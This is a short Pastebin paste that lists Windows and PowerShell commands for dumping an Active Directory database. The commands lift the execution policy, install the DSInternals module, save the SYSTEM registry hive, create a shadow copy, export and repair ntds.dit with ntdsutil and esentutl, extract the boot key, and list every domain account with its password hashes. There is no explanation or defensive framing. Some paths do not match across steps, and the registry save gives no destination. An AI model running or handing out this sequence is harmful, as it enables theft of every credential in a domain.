Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Set-ExecutionPolicy Unrestricted -Force ;
- Install-Module -Name DSInternals ;
- reg SAVE HKLM\SYSTEM ;
- vssadmin create shadow /for=C: ;
- powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q";
- ESENTUTL /p 'C:\temp\Active Directory\ntds.dit' /!1024 /8 /o ;
- $key=Get-BootKey -SystemHiveFilePath C:\Windows\Temp\sys ;
- Get-ADDBAccount -All -BootKey $key -DBPath 'C:\temp\Active Directory\ntds.dit'
Advertisement
Add Comment
Please, Sign In to add comment